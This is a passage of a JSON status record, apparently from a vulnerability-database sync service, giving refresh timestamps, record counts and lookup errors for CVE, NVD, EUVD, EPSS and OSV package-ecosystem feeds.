exploitation.","generation":"2026-11-11T19:58:45.4661486+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-11T19:58:45.4661486+00:00","lastSuccessAt":"2026-11-11T19:58:45.6262555+00:00","error":null,"lastVerifiedAt":"2026-11-11T19:58:45.6262565+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-de3b77103708811b6494d2ff7c979037d73ae579742cd1649a5c765137ae5083-bc2564cf749a574ebe6216cd53b2772c98ccf01e107d9e465c7cb9637c59db40","complete":true,"records":424281,"lastAttemptAt":"2026-11-11T19:56:48.005675+00:00","lastSuccessAt":"2026-11-11T19:56:47.8167322+00:00","error":null,"lastVerifiedAt":"2026-11-11T19:56:48.005675+00:00","snapshotPublishedAt":"2026-11-11T19:18:45+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-dc462e64383b443bb509cbf61bca2cb8","complete":false,"records":13759,"lastAttemptAt":"2026-11-11T20:09:03.8159657+00:00","lastSuccessAt":"2026-11-11T20:09:03.811+00:00","error":"167 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-11T20:09:03.811+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13431,"expectedIdentifiers":13813,"failedIdentifiers":167},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-11T19:58:45.4661486+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-11T19:58:45.4661486+00:00","lastSuccessAt":"2026-11-11T19:58:45.6274866+00:00","error":null,"lastVerifiedAt":"2026-11-11T19:58:45.6274869+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-0feae4fee9a0467f9dde710515b6c624","complete":false,"records":13753,"lastAttemptAt":"2026-11-11T19:59:11.1509472+00:00","lastSuccessAt":"2026-11-11T19:59:11.147+00:00","error":"100 identifier lookups failed; latest failures include request timeout. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-11T19:59:11.147+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13713,"expectedIdentifiers":13813,"failedIdentifiers":100},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-11T19:58:45.3029621+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-11T19:58:45.3029621+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-11T19:56:48.0811645+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-11T19:56:48.0811645+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-11T19:58:45.4258391+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-11T19:58:45.4258391+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-87231cdc7f9d4c655d3fcacbfa9f6f611f1797a1979bf49bac181b1f6e58d128","complete":true,"records":231686,"lastAttemptAt":"2026-11-11T19:58:45.1608584+00:00","lastSuccessAt":"2026-11-11T19:58:43.6336294+00:00","error":null,"lastVerifiedAt":"2026-11-11T19:58:45.1608584+00:00","snapshotPublishedAt":"2026-11-11T19:48:16+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}